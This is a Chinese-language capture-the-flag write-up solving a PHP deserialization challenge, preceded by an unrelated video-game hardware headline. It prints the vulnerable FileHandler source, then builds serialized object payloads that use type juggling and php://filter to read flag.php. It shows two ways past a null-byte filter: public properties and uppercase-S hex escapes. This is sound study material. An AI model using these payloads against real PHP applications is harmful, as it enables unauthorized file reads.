《仙劍奇俠傳七》推薦配置再更新:中畫質光追需 RTX 2060 以上顯示卡
直接給出原始碼
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private functionwrite() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
程式碼大概看了一下,總體解題思路就是構造反序列化給str變數,當執行這個主函式進行反序列化時,
呼叫了FileHandler 類,進而讀取flag.php。
首先我先嚐試構造了這樣的exp:
<?php class FileHandler { protected $op = 2; protected $filename = "flag.php"; protected $content; } $A=new FileHandler(); $B=serialize($A); echo $B;
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
為什麼要構造op=2,由於沒有搞清程式碼執行流程,一開始想的比較簡單,就是直接進入read()方法,沒有細緻考慮destruct方法
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
看了師傅們的wp才明確知道構造op=2 是為了當自動執行魔術方法_destruct時,繞過if($this->op === "2")這條強型別判斷。
2==="2"為假,而
進入到process()方法中2=="2"為真,執行read()方法,讀取檔案。
還需要知道的是
此題的成員變數是protected屬性,會在變數名前加%00*%00。此時要注意is_valid方法,%00的ascii碼為0,
是無法通過檢查的。
繞過方法之一是:
簡單的一種是:php7.1+版本對屬性型別不敏感,本地序列化的時候將屬性改為public進行繞過即可
<?php class FileHandler { public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
//偽協議轉化為base64讀取,php程式碼無法直接讀取 public $content; } $A=new FileHandler(); $B=serialize($A); echo $B;
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
傳參得到flag。
還有一種繞過方法就是
php的序列化字串中只要把其中的s改成大寫的S,後面的字串就可以用十六進位制表示
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}
序列化完結果看似是沒有%00,但是直接傳參得不到flag。
其實可以用指令碼可以發現是有ascii為0的。
<?php class FileHandler { protected $op = 2; protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; protected $content; } $A=new FileHandler(); $B=serialize($A); $B = str_replace(chr(0), '\00', $B); $B = str_replace('s:', 'S:', $B); echo $B;
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}
傳參得到flag.
總的來說這題涉及到的知識還是挺廣的,對於程式碼的執行流程一定要清楚。